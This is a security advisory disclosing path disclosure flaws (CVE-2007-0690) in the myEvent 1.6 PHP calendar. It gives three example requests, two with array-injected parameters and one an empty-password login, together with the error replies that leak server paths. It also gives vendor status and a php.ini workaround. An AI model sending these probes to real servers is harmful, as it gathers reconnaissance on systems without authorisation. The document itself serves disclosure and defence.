myEvent version 1.6 Multiple Path Disclosure Vulnerabilities
Description:
myEvent is Dynamic Calendar based Events Management system with admin panel
for adding events, edit and delete built using PHP & mySQL. Display today's
event and future events links on the calendar, Event will be displayed in 3
mode eg : pop-up, new windows and on same screen once link is clicked.
There is also a mouse-over tool tip to display the events Template based
and Simple easily intergrated to any websites.
External References:
Mitre CVE: CVE-2007-0690
NVD NIST: CVE-2007-0690
OSVDB: 34272
Summary:
myEvent is Dynamic Calendar based Events Management system with admin panel
for adding events, edit and delete built using PHP and mySQL.
Multiple pass disclosure vulnerabilities in the product allow attackers to
gather the true path of the server-side script.
Vulnerability Type:
Program flaw - The myevent.php and login.php scripts has flaws which lead
to Warnings or even Fatal Error.
Vendor:
myWebland
Vendor Status:
The Vendor has been notified several times on many different email
addresses last on 15 May 2007. The Vendor has not responded. There is no
official fix at the release of this Security Advisory.
Workaround:
Disable warning messages: modify in the php.ini file following line:
display_errors = Off. Or modify .htaccess file (this will work only for the
apache servers).
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/myevent.php?monthno[]=2&year=2007
REPLY:
<b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array
given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]initialize.php</b> on line
<b>71</b><br />
Path Disclosure Vulnerability 2:
REQUEST
http://[TARGET]/[PRODUCT-DIRECTORY]/ myevent.php?view[]=1
REPLY:
<b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array
given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]initialize.php</b> on line
<b>83</b><br />
Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/login.php
Enter Login but do not enter password. Click "Log In"
REPLY:
<b>Fatal error</b>: Call to undefined function: notice() in <b>[DISCLOSED
PATH][PRODUCT-DIRECTORY]login.php</b> on line <b>29</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.